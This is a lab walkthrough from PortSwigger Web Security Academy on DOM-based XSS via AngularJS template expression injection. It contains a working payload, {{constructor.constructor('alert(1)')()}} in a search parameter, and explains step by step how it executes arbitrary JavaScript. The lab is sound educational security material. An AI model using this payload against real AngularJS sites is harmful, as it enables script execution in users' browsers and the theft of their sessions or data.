DOM-Based XSS — AngularJS Expression Injection¶
| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Vulnerability | DOM-Based XSS — Client-Side Template Injection (CSTI) |
| Difficulty | Practitioner |
| Framework | AngularJS 1.7.7 |
| Injection Point | search parameter — reflected inside an ng-app scope |
| Goal | Execute alert(1) via AngularJS template expression injection |
What is AngularJS and Why is it Relevant to XSS?¶
AngularJS is a JavaScript framework that extends HTML with custom attributes called directives. The most important one for this lab is ng-app — any HTML element marked with ng-app becomes an AngularJS application boundary.
Inside an ng-app context, AngularJS scans the page for template expressions wrapped in double curly braces {{ }} and evaluates them as JavaScript:
<div ng-app>
{{ 1 + 1 }} <!-- renders: 2 -->
{{ 'hello'.toUpperCase() }} <!-- renders: HELLO -->
</div>
If user input is reflected inside an ng-app element and angle brackets are encoded, {{ }} double curly braces become the attack surface — they don't need angle brackets to execute JavaScript.
Phase 1 — Reconnaissance¶
Checking the page with Wappalyzer reveals AngularJS 1.7.7 is in use:
Angle brackets are encoded in the search functionality — standard HTML tag injection is blocked. But AngularJS template expressions don't need angle brackets.
Phase 2 — Exploitation¶
/?search={{constructor.constructor('alert(1)')()}}
Alert fired. Lab solved.
How the Payload Works¶
Breaking down {{constructor.constructor('alert(1)')()}}:
{{
constructor // every object in JS has a .constructor property
.constructor // Function.constructor — the Function constructor itself
('alert(1)') // creates a new Function with "alert(1)" as its body
() // immediately invokes that function
}}
The full execution chain:
AngularJS evaluates {{ ... }}
→ expression is JavaScript evaluated in AngularJS scope
→ constructor.constructor === Function
→ Function('alert(1)') creates: function() { alert(1) }
→ () invokes it immediately
→ alert(1) executes
constructor.constructor is a way to reach the Function constructor through the prototype chain — which allows executing arbitrary JavaScript as a string — without using any keywords that AngularJS's (now removed) sandbox might have blocked. In AngularJS 1.6+, the sandbox was removed entirely, making this technique straightforward.
Conclusion¶
- Wappalyzer identified AngularJS 1.7.7 as the client-side framework — the key piece of information that determined the correct attack approach.
- Angle brackets were encoded, blocking standard HTML tag injection.
- The search input was reflected inside an
ng-appscope — AngularJS evaluates{{ }}expressions in that scope as JavaScript. {{constructor.constructor('alert(1)')()}}reached theFunctionconstructor via the prototype chain and invoked it withalert(1)as the function body.